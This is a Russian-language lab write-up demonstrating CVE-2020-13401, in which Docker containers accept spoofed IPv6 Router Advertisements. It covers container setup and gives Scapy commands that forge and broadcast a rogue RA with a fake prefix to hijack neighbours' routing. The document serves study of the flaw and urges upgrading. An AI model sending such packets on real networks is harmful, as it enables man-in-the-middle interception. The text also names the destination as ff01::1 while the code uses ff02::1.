
Исследование уязвимости CVE-2020-13401 контейнеров в dockers старше 19.03.11
Изучение уязвимости CVE-2020-13401 контейнеров в Docker старше 19.03.11
Контейнеры, созданные в Docker Engine версий до 19.03.11, уязвимы к получению и применению поддельных RA (Router Advertisement) сообщений от других контейнеров в сети. Получение RA — это нормальное поведение операционной системы, но если отправитель RA не является доверенным в сети, контейнер-жертва может получить сообщение, присоединиться к сети и затем отправлять все сетевые пакеты новому поддельному роутеру (атака «человек посередине»). Эта проблема не связана с IPv4 и основана на IPv6.
Оригинальный источник CVE: CVE-2020-13401
В Docker Engine старше 19.03.11 контейнеры принимают RA-сообщения по умолчанию. Предположим, в сети есть другой контейнер с возможностью CAP_NET_RAW. Это означает, что этот контейнер может создавать любые сетевые пакеты и отправлять их в сеть. Таким образом, этот контейнер может использоваться как источник создания пакетов. В новых версиях контейнеры не принимают RA-сообщения, если эта функция не включена в docker engine. Таким образом, система все еще может быть уязвима, если администратор решит включить эту функцию.
Настоятельно рекомендуется обновить Docker Engine для защиты среды ваших контейнеров от этой уязвимости.
В этом исследовании я хочу продемонстрировать, как возникает эта уязвимость, и увидеть, как наш контейнер подвергается воздействию RA-сообщения.
В запущенных контейнерах я проверил, работает ли IPv6. Но обнаружил, что по умолчанию в моем контейнере IPv6 не поддерживается. По умолчанию все контейнеры docker подключены к сети bridge, и эта сеть не поддерживает IPv6. Чтобы включить IPv6 для docker, необходимо добавить файл daemon.json в путь /etc/docker/. Содержимое этого файла должно быть следующим:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
Можно назначить любой действительный адрес подсети IPv6. Затем docker нужно перезапустить, и он заново прочитает файл daemon, чтобы настроить свою сеть bridge по умолчанию. Также можно определить новую сеть для поддержки IPv6.
Команды для перезагрузки конфигурации и перезапуска docker:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerИтак, у нас есть Docker, поддерживающий IPv6, и пришло время создать контейнеры для запуска симуляции. Нам нужно как минимум 2 контейнера. Я называю их Ubuntu_1 и Ubuntu_2. На вашей хост-машине используйте следующие команды для создания контейнеров:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
Список ваших контейнеров с помощью этой команды:
$ docker container ls -a
Используйте имена ваших контейнеров для их запуска:
$ docker container start -ai [CONTAINER NAME]
На обоих контейнерах вам понадобятся некоторые базовые инструменты, такие как:
| Инструмент | Команда установки |
|---|---|
| nano (или любой другой редактор) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (установить только на 1 контейнере) |
Установите необходимые инструменты и проверьте, подключены ли ваши контейнеры. Для этого получите IP-адрес контейнера и информацию об интерфейсах с помощью команды ifconfig. Затем выполните ping -6 [IPv6 назначения] для другого контейнера, чтобы убедиться, что они связаны. Также вы можете использовать tcpdump на контейнере назначения, чтобы увидеть принимаемые ping-пакеты.
(Убедитесь, что вы используете IPv6 для пинга контейнеров)
Мы хотим отправить сконструированное RA-сообщение из одного из контейнеров в сети и обновить таблицу IP (IpTable) жертв.
Я использую SCAPY для создания сообщений объявления маршрутизатора IPv6. Scapy основан на Python. Шаги установки следующие:
$ sudo apt install python3-scapyRA-пакет — это широковещательный пакет, и это означает, что он должен доставляться всем узлам сети. Кроме того, он основан на правилах IPv6. Таким образом, адрес назначения — ff01::1, а протокол основан на ICMPv6.
Запустите Scapy:
$ scapy
Я использую эти команды для создания и отправки пакета в сеть:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
После отправки пакета перейдите к другим контейнерам и снова используйте ifconfig. Вы увидите, что ваша таблица IP (IPTable) обновлена после получения RA-сообщений.
Вы можете загрузить мои настраиваемые образы docker для тестирования и изучения этой проблемы: Мои настраиваемые образы Docker